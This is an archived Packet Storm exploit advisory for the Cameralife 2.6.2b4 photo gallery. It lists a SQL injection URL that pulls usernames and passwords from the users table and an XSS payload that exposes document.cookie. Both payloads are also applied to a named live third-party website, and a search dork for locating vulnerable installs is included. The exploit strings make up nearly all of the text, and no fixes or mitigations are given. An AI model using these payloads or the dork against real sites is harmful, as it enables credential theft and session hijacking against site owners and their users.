cameralife-sqlxss.txt

2008-10-09T00:00:00
ID PACKETSTORM:70744
Type packetstorm
Reporter BackDoor
Modified 2008-10-09T00:00:00

Description

                                        
                                            `Cameralife 2.6.2b4 (SQL/XSS) Multiple Remote Vulnerabilities  
Script:Cameralife 2.6.2b4  
Download:http://nchc.dl.sourceforge.net/sourceforge/fdcl/cameralife-2.6.2b4.zip  
Author:BackDoor  
Bug 1;album.php Remote SQL Injection Vulnerability  
Exploit:www.target.com/scriptpath/album.php?id=-1+union+select+0,password,username,3,4,5+from+users  
Live  
http://chrisnolan.org/cameralife/album.php?id=-1+union+select+0,password,username,3,4,5+from+users  
Bug 2;topic.php XSS Vulnerability  
Exploit:www.target.com/scriptpath/topic.php?name="><script>alert(document.cookie)</script>  
Live  
http://chrisnolan.org/cameralife/topic.php?name="><script>alert(document.cookie)</script>  
Dork:inurl:"cameralife/index.php"  
BackDoor Cyber-Security.TIM //Lojistik  
  
  
`